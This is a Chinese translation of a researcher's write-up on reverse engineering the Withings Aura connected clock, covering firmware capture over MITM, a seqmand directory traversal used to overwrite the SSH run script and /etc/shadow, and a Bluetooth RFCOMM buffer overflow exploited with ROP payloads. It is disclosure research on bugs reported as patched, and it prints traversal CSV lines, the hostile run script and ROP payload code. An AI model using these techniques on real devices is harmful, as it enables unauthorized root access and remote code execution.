我收到了一个被称做“在线闹钟”的设备Aura,这个设备非常酷,它可以通过调节不同的声音和颜色模式帮助用户进入睡眠,并在睡眠周期结束时唤醒用户。
我很想对他进行一下逆向,因为:
• 好玩
• 我想完全控制这台设备,想在它上面运行自己的代码
这篇文章描述的就是我从抓取固件镜像到进行缓冲溢出攻击的一个过程。
本文所暴露的安全问题已经通知了厂商。 他们已经了解并修复了文章中所提到的漏洞,从2017年3月开始该固件已经不存在这些漏洞。本文不会发布任何固件镜像、二进制文件或者完整的攻击脚本,本文所涉及内容仅仅处于教育目的。
首先需要了解Aura的硬件结构。Aura的造价并不便宜,我并没有轻易尝试去拆解该设备。我刚刚浏览了FCC认证报告中公开提供的文件:https://fccid.io/XNAWSD01
模糊的内部图片显示Aura看起来是由飞思卡尔(现在的恩智浦)处理器和一个嵌入式的linux系统组成。
配置好设备,使它和WIFI热点建立连接后,我用nmap对其进行了扫描,确认了上面的假设。
$ nmap 192.168.12.196
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-15 21:52 CET
Nmap scan report for 192.168.12.196
Host is up (0.017s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp filtered ssh
MAC Address: 00:24:E4:22:95:C2
Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds
从扫描结果上看,22端口看起来被过滤了,但是SSH服务是有响应的。当然,没有密码或SSH密钥,没什么用。
Aura开启了蓝牙功能,通过其运行的SDP server,我们可以看到它开启了以下服务:
$ sdptool records 00:24:E4:22:95:C3
Service Name: Wireless iAP
Service RecHandle: 0x10000
Service Class ID List:
UUID 128: 00000000-deca-fade-deca-deafdecacaff
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Profile Descriptor List:
"Serial Port" (0x1101)
Version: 0x0100
Service Name: Wireless iAP
Service RecHandle: 0x10001
Service Class ID List:
UUID 128: 00001101-0000-1000-8000-00805f9b34fb
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
Profile Descriptor List:
"Serial Port" (0x1101)
Version: 0x0100
下一步,我需要抓取设备固件。前面解释过了,拆解它并不是一个好的选择。取而代之的是,我配置了一个MITM,在固件进行升级的时候嗅探设备和服务器之间的通信。
很快,发现了一个看似固件镜像的文件,它是通过HTTP协议进行传输的:
GET /wsd01/wsd01_905.bin HTTP/1.1
Host: XXXXXXXXXXXXXXXXXX
Accept: */*
提取文件系统
通常镜像文件在文件开始的地方会有一个文件头,通过文件头,我们进一步确认该文件是一个FPKG格式的文件。
$ file wsd01_905.bin
wsd01_905.bin: data
$ hexdump -C wsd01_905.bin | head -n 20
00000000 66 70 6b 67 04 57 53 44 00 01 89 03 00 00 00 50 |fpkg.WSD.......P|
00000010 4b 01 01 14 00 00 00 01 80 00 00 00 31 18 10 06 |K...........1...|
00000020 7e bf 63 bf a7 37 00 00 00 00 00 00 00 10 00 00 |~.c..7..........|
00000030 06 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 |................|
00000040 00 f0 01 00 ab 00 00 00 e8 03 00 00 00 00 80 00 |................|
00000050 00 00 00 00 05 00 00 00 02 00 00 00 01 00 00 00 |................|
00000060 01 00 00 00 08 00 00 00 00 01 00 00 04 00 00 00 |................|
00000070 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 00 00 00 00 00 ca 9a 3b bc 71 25 22 cd 1c 40 c0 |.......;.q%"..@.|
00000090 8f 85 c0 aa 09 01 87 44 00 00 00 00 00 00 00 00 |.......D........|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001010 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff |................|
00001020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
0001f010 ff ff ff ff ff ff ff ff ff ff ff ff 31 18 10 06 |............1...|
0001f020 34 54 8c 8d a8 37 00 00 00 00 00 00 00 02 00 00 |4T...7..........|
0001f030 07 00 00 00 f1 04 00 00 00 00 00 00 00 00 00 00 |................|
0001f040 00 00 00 00 02 00 00 00 03 00 00 00 aa 00 00 00 |................|
0001f050 30 e7 00 00 58 00 00 00 a7 00 00 00 aa 00 00 00 |0...X...........|
并且,通过binwalk我们总是可以快速地定位我们感兴趣的地方:
$ binwalk wsd01_905.bin | head
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
28 0x1C UBIFS filesystem superblock node, CRC: 0xBF63BF7E, flags: 0x0, min I/O unit size: 2048, erase block size: 126976, erase block count: 171, max erase blocks: 1000, format version: 4, compression type: lzo
127004 0x1F01C UBIFS filesystem master node, CRC: 0x8D8C5434, highest inode: 1265, commit number: 0
253980 0x3E01C UBIFS filesystem master node, CRC: 0x81BCA129, highest inode: 1265, commit number: 0
1438388 0x15F2B4 Unix path: /var/log/core
1444812 0x160BCC Executable script, shebang: "/bin/sh"
1445117 0x160CFD Executable script, shebang: "/bin/sh"
1445941 0x161035 Executable script, shebang: "/bin/sh"
下载的数据块在偏移0x1c的地方包含一个UBIFS文件镜像(也有可能仅仅是像一个文件头)。
通过脚本https://github.com/jrspruitt/ubi_reader 可以很轻易地从UBIFS镜像里提取文件:
$ ubireader_extract_files -k 1C.ubi
Extracting files to: ubifs-root
$ ls ubifs-root
bin lib mnt services uImage
dev libexec proc sys usr
etc linuxrc sbin tmp var
所有嵌入式linux里的文件都是可以访问的!我首先当然是查看/etc/shadow文件的内容。然后我通过john password cracker来破解/etc/shadow里的密码,但是几分钟后我就放弃了。它的密码可能非常复杂,这种简单的爆破可能不会出什么结果。
FPKG 文件格式
现在所有文件都可用,我们需要了解一些FPKG文件结构。
固件更新和FPKG文件加载等相关功能都包含在共享库libfpkg.so and libufw.so里,通过反汇编以及猜测,我得到了以下文件结构:
描述这个结构的一个ksy文件(http://kaitai.io/)可以在这里找到。
将此结构应用到我之前获取的文件中:
[-] [root]
[-] header
[.] magic = 66 70 6b 67
[.] product_name_size = 4
[.] product_name = "WSD"
[.] firmware_type = 1
[.] firmware_version = 905
[.] firmware_size = 21712896
[.] checksum_type = 1
[.] checksum_size = 20
[.] signature_type = 1
[.] signature_size = 128
[.] firmware_data = 31 18 10 06 7e bf 63 bf a7 37 00 00 00 00 00 00 00 10 00 ...
[.] checksum = 15 ec a1 c5 55 aa 54 dd f2 54 14 7c ef 1d a3 2a f6 aa ab 8b
[.] signature = 3e db da 40 aa 9f 5b 49 3d a2 00 0f 37 65 22 29 00 cb 4e 73 ...
该文件已签名,因此无法更新我自己的固件。
获取SSH ROOT访问权限
获取固件后,下一步就是获取SSH访问权限。我开始查看电路板上运行的二进制文件,并尝试找到一些漏洞。
Seqman目录遍历攻击
其中一个叫做seqmand的守护进程引起了我的注意。seqmand负责从远程服务器自动下载音频文件。它的工作方式如下:
在启动时,seqmand下载一个csv文件。
GET /content/aura/sequences-v3/aura_seq_list.csv HTTP/1.1
Host: XXXXXXXXXXXXXXXXXXX
Accept: */*
aura_seq_list.csv文件内容如下:
#name;is_mandatory;filename;md5;filesize;
WAKEUP_4;1;v3_audio_main_part_2.mp3;e7920da0ecb5e97a214ca9935f7e821f;720
WAKEUP_4;1;v3_audio_main_part_1.mp3;77c1b5fd054233f1d6e0dd12d0d419c5;5272
WAKEUP_3;1;v3_audio_main_part_2.mp3;e4d0620ab9fa56cb1ef29485c4377a01;1160
seqmand将会分别下载csv文件里每一行指定的相应文件到临时目录里。比如,对于上面的CSV文件,它将进行以下文件的下载:
download "http://XXXXXXX/content/aura/sequences-v3/WAKEUP_4/v3_audio_main_part_2.mp3" to "/tmp/sequences/WAKEUP_4/v3_audio_main_part_2.mp3"
download "http://XXXXXXX/content/aura/sequences-v3/WAKEUP_4/v3_audio_main_part_1.mp3" to "/tmp/sequences/WAKEUP_4/v3_audio_main_part_1.mp3"
download "http://XXXXXXX/content/aura/sequences-v3/WAKEUP_3/v3_audio_main_part_2.mp3" to "/tmp/sequences/WAKEUP_3/v3_audio_main_part_2.mp3"
临时文件最终会移动到/usr/share/sequences文件夹里。
我将seqmand的HTTP请求重定向到我自己的HTTP服务器,并提供了自定义的aura_seq_list.csv文件。我很快注意到可以进行目录遍历攻击。
例如,如果我使用以下csv并提供了具有有效MD5 的测试文件:
#name;is_mandatory;filename;md5;filesize;
WAKEUP_42;1;../../../test;cbb788cf62b23c4bf6e91042576d75a3;720
Seqmand这时进行如下操作:
download "http://XXXXXXX/content/test" to "/tmp/sequences/WAKEUP_42/../../../test"
我在我的笔记本电脑上使用静态编译的qemu仿真了守护进程的操作,/test文件被创建了。
我不会花太多时间来解释如何编译和使用qemu。有需要了解的可以看这个文章。
我的第一个计划是用我自己的密码覆盖/ etc / shadow文件。
#name;is_mandatory;filename;md5;filesize;
WAKEUP_42;1;../../../etc/shadow;326c68d758d21b2a4bb1f5e14931c2b4;720
像前面的一样,在我的qemu模拟器上可以成功,但是在该设备上失败了。通过另一个技巧,后来我找到了失败的原因。
日志文件提取
浏览文件系统上可用的文件时,我看到了/ usr / bin / usb_hd_hotplug脚本。一旦USB驱动器插入Aura的接口,它就会自动启动。
此脚本执行以下操作:
• 安装USB驱动器
• 检查一个签名的脚本,如果有效就运行它
• 执行flash_from_usb函数
• 执行copy_logs函数
这个签名的脚本不能被直接使用。flash_from_usb函数需要有签名的FPKG镜像文件才能执行。并且copy_logs函数只是搜索一个名为withings-options的文件,其中必须包含copy_logs = 1这一行。如果该文件存在于USB驱动器上,那么该脚本将会在其上复制日志文件。
copy_logs()
{
cat $MOUNT_POINT/withings-options 2> /dev/null|grep "copy_logs=1" -q || return 1
logger -t automount "Copying logs"
color 4000 1 4000 #purple
cp /var/log/messages* $MOUNT_POINT
sync
sleep 1
color 1 1 1
}
工作目录遍历EXP
感谢日志文件,我发现大多数操作系统都是在只读分区上运行的(这并不奇怪)。然而,有些部分仍然是可写的。
以下代码来自/etc/init.d/prepare_services脚本。
mkdir -p /var/service
#copy services scripts so the directories can be writable
cp -r /etc/init.d/services/* /var/service
# Allow core dumps (5M max)
ulimit -c 10000
runsvdir /var/service &
这就意味着runsv进程的文件夹(参考http://smarden.org/runit/runsv.8.html 和http://smarden.org/runit/runsvdir.8.html)是从可写目录/var/service加载的。
例如,在运行时/var/service/sshd/的内容如下:
sshd
├── down
├── run
└── supervise
├── control
├── lock
├── ok
├── pid
├── stat
└── status
文件run是在启动服务时执行的启动脚本,而supervise /文件夹中的所有内容都可用于与进程交互。
我决定覆盖/ var / service / sshd / run脚本。不幸的是,这还不够。这个脚本只在引导时启动一次,根本来不及覆盖它。我需要一种方法强制重新启动ssh守护程序。
这里我使用/ var / service / sshd / supervise / control命名管道。根据runv的手册页,可以通过写入来杀死或重新启动服务。例如
$ echo k > /var/service/sshd/supervise/control
$ echo u > /var/service/sshd/supervise/control
将杀死并重新启动sshd服务并再次执行run脚本。
然后我使用下面的CSV文件
#name;is_mandatory;filename;md5;filesize;
WAKEUP_5;1;../../../var/service/sshd/run;672a1e6b4a9b2ce8ebef3755217faf8b;720
WAKEUP_6;1;../../../var/service/sshd/supervise/control;8ce4b16b22b58894aa86c421e8759df3;720
WAKEUP_7;1;../../../var/service/sshd/supervise/control;7b774effe4a349c6dd82ad4f4f21d34c;720
我的服务器提供的run文件:
#!/bin/sh
mount -oremount,rw /
echo "Your shadow comes here" > /etc/shadow
exec dropbear -F &> /dev/null
首次命中控制文件时用k回复,第二次用u。
攻击是成功的,我获得了一个SSH root访问权限。我使用的脚本可在这里。
安装gdbserver
通过SSH访问,我可以更好地了解该设备内部的工作原理。此外,通过很多很酷的二进制文件和脚本可以让我更好地玩设备的外设。我可以玩7段显示,打开和关闭灯,...
下一步,我决定交叉编译一个gdbserver。这里我偷懒使用了Buildroot来编译。我使用的Buildroot配置在这里。对于不熟悉Buildroot的用户,您需要做的就是将我的defconfig文件复制到新克隆的buildroot repo的configs /文件夹中,并运行以下命令:
$ make aura_gdbserver_defconfig
$ make
该gdbserver的二进制文件将输出到目标的/ usr / bin文件夹中。
不知道什么原因,生成的gdbserver工作有时不正常。有时候会崩溃。但是,对于下断点和探测内存已经足够了。
蓝牙RCE
利用SSH访问权限和gdbserver,我发现了该设备蓝牙协议中一个可以利用的缓冲区溢出漏洞。
逆向蓝牙通信
为了解智能手机应用程序与该设备通信的方式,我开始使用我的Android手机的“Bluetooth HCI snoop log”功能。它能让我嗅探我的手机和设备之间的所有蓝牙通信。
应用程序在通道9上使用RFCOMM与设备进行通信。该服务是SDP服务器发布的两个服务之一(参见“初步分析”部分)。
第一步,我尝试重放时钟发光时看到的一些数据包。我发送了以下载荷:
01 01 00 0b 01 09 0f 00 06 09 0d 00 02 01 0c
01 01 00 0b 01 09 0f 00 06 09 0d 00 02 01 42
01 01 00 0b 01 09 0f 00 06 09 0d 00 02 01 00
通过使用这个python小脚本:
#!/usr/bin/env python3
import socket
import time
import sys
if __name__ == "__main__":
payloads = [b"\x01\x01\x00\x0b\x01\x09\x0f\x00\x06\x09\x0d\x00\x02\x01\x0c",
b"\x01\x01\x00\x0b\x01\x09\x0f\x00\x06\x09\x0d\x00\x02\x01\x42",
b"\x01\x01\x00\x0b\x01\x09\x0f\x00\x06\x09\x0d\x00\x02\x01\x00"]
if len(sys.argv) != 2:
print("Usage: {} <mac>".format(sys.argv[0]))
exit(-1)
mac = sys.argv[1]
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)
print("Connecting to Aura ({})".format(mac))
try:
s.connect((mac, 9))
except:
print("Error while connecting to {}".format(mac))
exit(-1)
for i in range(2):
for payload in payloads:
s.send(payload)
time.sleep(1)
s.close()
print("Done")
它按预期工作。
https://courk.fr/wp-content/uploads/0x00_packet_replay_demo.webm
我接下来试图了解我发送的数据包的结构。通过反汇编共享库libpairing.so和nm,负责蓝牙和WiFi通信的二进制文件结构大致如下:
描述这个结构的一个ksy文件(http://kaitai.io/)可以在这里找到。
将此结构应用于我们之前使用的亮度控制效载荷:
[-] [root]
[-] header
[.] unknown = 01 01
[.] packet_size = 11
[.] protocol_version = 1
[.] command_id = 2319
[.] arguments_size = 6
[-] arguments
[-] argument (1 = 0x1 entries)
[-] 0
[-] argument_header
[.] argument_id = 2317
[.] argument_size = 2
[.] argument_data = 01 0c
我没有尝试了解argument_data的第一个字节是什么,但第二个字节显然是表示亮度的值。
nm二进制码中的编码阵列使command ID和相应的功能之间建立了一个对应关系。其中一些命令可能不是针对智能手机应用程序使用的。命令0x205,称为cmd_perso,特别有趣。
cmd_perso命令
命令cmd_perso可用于从电路板读取和写入配置数据。这个数据可以是:
• 设备独有的制造ID
• 某个服务器的主机名
一个“秘密”(我不知道这个秘密是做什么,而且我并没有试图去弄清楚它,我想这可能是在认证过程中要使用的)
该命令也可用于读写Uboot环境变量。最终可以用来重置用户设置。不用说这是一个相当危险的命令。此外,此命令的解析受到缓冲区溢出漏洞的影响。
要了解漏洞的位置,我们先来看看cmd_perso的参数。它具有以下结构。
上述的action_id允许选择一个动作:写或读一个变量,或重置用户设置。fields用于放置这些变量的名称和值。
描述这个结构的一个ksy文件(http://kaitai.io/)可以在这里找到。
现在看看当接收到cmd_perso时调用的函数的开头。
/ (fcn) fcn.0x3ce4c 200
| fcn.0x3ce4c (int arg_110h, int arg_114h, int arg_118h);
| ; var int local_118h @ fp-0x118
| ; var int local_114h @ fp-0x114
| ; var int local_110h @ fp-0x110
| ; arg int arg_110h @ fp+0x110
| ; arg int arg_114h @ fp+0x114
| ; arg int arg_118h @ fp+0x118
| ; var int local_4h @ r13+0x4
| 0x0003ce4c 00482de9 push {fp, lr}
| 0x0003ce50 04b08de2 add fp, sp, 4
| 0x0003ce54 12de4de2 sub sp, sp, 0x120
| 0x0003ce58 10010be5 str r0, [fp - local_110h]
| 0x0003ce5c 14110be5 str r1, [fp - local_114h]
| 0x0003ce60 18210be5 str r2, [fp - local_118h]
| 0x0003ce64 433f4be2 sub r3, fp, 0x10c
| 0x0003ce68 0300a0e1 mov r0, r3
| 0x0003ce6c b945ffeb bl sym.imp.wpp_init_perso
| 0x0003ce70 18311be5 ldr r3, [fp - local_118h]
| 0x0003ce74 0338a0e1 lsl r3, r3, 0x10
| 0x0003ce78 2328a0e1 lsr r2, r3, 0x10
| 0x0003ce7c 431f4be2 sub r1, fp, 0x10c
| 0x0003ce80 8c309fe5 ldr r3, [0x0003cf14] ; [0x3cf14:4]=0xdd30 sym.imp.wpp_unpack_perso
| 0x0003ce84 00308de5 str r3, [sp]
| 0x0003ce88 0100a0e1 mov r0, r1
| 0x0003ce8c 14111be5 ldr r1, [fp - local_114h]
| 0x0003ce90 80309fe5 ldr r3, [0x0003cf18] ; [0x3cf18:4]=0x205
| 0x0003ce94 9841ffeb bl sym.imp.wpp_unpack_arg
| 0x0003ce98 0030a0e1 mov r3, r0
| 0x0003ce9c 000053e3 cmp r3, 0
...
在解析RFCOMM数据包的参数(参见上一节了解整个数据包结构)时存在问题。解析由第28行调用的函数wpp_unpack_arg完成。
wpp_unpack_arg函数将会被传入由wpp_init_perso函数(第18行)初始化的262个字节结构的参数。它将参数通过一个指针传入函数wpp_unpack_perso, wpp_unpack_perso函数会解析cmd_perso数据包的载荷(第23行)。
wpp_unpack_perso多次调用memcpy函数来填充262个字节长的结构,但没有做边界检查,复制cmd_perso数据包参数的字段时可能会发生缓冲区溢出,将会覆盖保存在堆栈上的fp和lr寄存器。
缓冲区溢出攻击
为了利用这个缓冲区溢出,我选择使用众所周知的ROP技术。我遇到两个主要困难:
• 我没有在代码中找到更的ROP gadgets
• 每个字段的大小限制为0xff的长度
由于这两点,不可能建立一个长而复杂的ROP链。这就是为什么我决定以下列方式构建漏洞的原因:
• 构建一个能够写入几个字节的链以便找到可写地址。显然payload执行后,后面的指令必须要能正常执行。
• 构建另一个链,使用该可写地址作为参数调用system()函数。
要构建第一个链,我使用以下gadget:
• “设置R3”gadget(从0x0000e840开始):
.-> 0x0000e798 24109fe5 ldr r1, [0x0000e7c4] ; [0xe7c4:4]=0x5cc0c loc.__bss_start__
| 0x0000e79c 24009fe5 ldr r0, [0x0000e7c8] ; [0xe7c8:4]=0x5cc0c loc.__bss_start__
| 0x0000e7a0 011060e0 rsb r1, r0, r1
| 0x0000e7a4 4111a0e1 asr r1, r1, 2
| 0x0000e7a8 a11f81e0 add r1, r1, r1, lsr 31
| 0x0000e7ac c110b0e1 asrs r1, r1, 1
| 0x0000e7b0 1eff2f01 bxeq lr
| ....................................................
| 0x0000e840 0840bde8 pop {r3, lr}
`=< 0x0000e844 d3ffffea b 0xe798
“设置R4”gadget
0x0000e804 1080bde8 pop {r4, pc}
最后,“写内存”gadget:
0x0000e800 0030c4e5 strb r3, [r4]
0x0000e804 1080bde8 pop {r4, pc}
为了使程序能够保持正常运行,我添加了一个gadget:
0x0003cf10 0088bde8 pop {fp, pc}
在链的末尾从栈里弹出FP 和PC 寄存器。
考虑到缓冲区的长度有限,以及在覆盖有效的fp和pc之前停止链的必要性,我构建了一个能够一次写入三个字节的链。多次使用该负载足以将一个任意shell命令写入到已知的地址。
payload = b"A"*(0x47-4) # Padding
payload += b"\x42" * 4 # Don't care
payload += b"\x40\xe8\x00\x00" # Set R3 gadget
payload += pack("<I", values[0]) # R3 value
payload += b"\x04\xe8\x00\x00" # Set R4 gadget
payload += pack("<I", address) # R4 value
payload += b"\x00\xe8\x00\x00" # Write mem gadget
payload += pack("<I", address+1) # R4 value
payload += b"\x40\xe8\x00\x00" # Set R3 gadget
payload += pack("<I", values[1]) # R3 value
payload += b"\x00\xe8\x00\x00" # Write mem gadget
payload += pack("<I", address+2) # R4 value
payload += b"\x40\xe8\x00\x00" # Set R3 gadget
payload += pack("<I", values[2]) # R3 value
payload += b"\x00\xe8\x00\x00" # Write mem gadget
payload += b"\x42" * 4 # Don't care
payload += b"\x10\xcf\x03\x00" # Resume normal execution
调用system()函数的链很容易构建。我使用了以下gadget
0x000403d4 853f4be2 sub r3, fp, 0x214
0x000403d8 0300a0e1 mov r0, r3
0x000403dc 7d36ffeb bl sym.imp.system ; int system(const char
同时对fp的值进行了精心计算
fp = cmd_address + 0x214
payload = b"A"*(0x47-4) # padding
payload += pack("<I", fp) # fp value
payload += b"\xd4\x03\x04\x00" # system call gadget
把所有步骤组合后,最终效果如下:
总结
从获得的固件获得了HTTP流量,从而发现设备可以被root,并检测到了两个漏洞。
通过MITM获取了设备的root访问权限并运行了自己的代码。
另一个更严重,攻击者可利用蓝牙RFCOMM链接来远程代码执行。
如前所述,所有这些漏洞目前都已经被修复了。
原文链接:
https://courk.fr/index.php/2017/09/10/reverse-engineering-exploitation-connected-clock/